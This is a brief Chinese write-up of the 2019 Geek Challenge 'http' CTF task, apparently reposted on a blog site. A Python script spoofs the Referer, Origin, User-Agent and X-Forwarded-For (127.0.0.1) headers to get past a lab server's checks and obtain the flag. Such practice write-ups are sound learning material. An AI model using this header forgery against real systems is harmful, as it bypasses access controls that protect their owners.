极客大挑战2019-http题解


查看网页源码,发现一个文件secret.php。

secret.php的内容如下:

页面要求必须从https://www.Sycsecret.com进入,使用python添加headers访问即可。

import requests
url = 'http://861-fd096d07-6da8-4c2d-9959-15792888b57.enode3.buuoj.cn:25828/Secret.php'
headers={"Referer":"https://www.Sycsecret.com","Origin":"https://www.Sycsecret.com"}
r = requests.get(url,headers=headers)
print(r.text)

结果显示Please use "Syclover" browser。

在headers里面继续添加User-Agent

headers['User-Agent'] = "Syclover"

继续访问,得到No!!! you can only read this locally!!!

应该是要伪造IP,在headers里面添加X-Forwarded-For

headers['X-Forwarded-For'] = '127.0.0.1'

得到flag。

感觉,极客大挑战的题对新手很友好,做极客大挑战的题就好像回到了刚学CTF的时候。


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM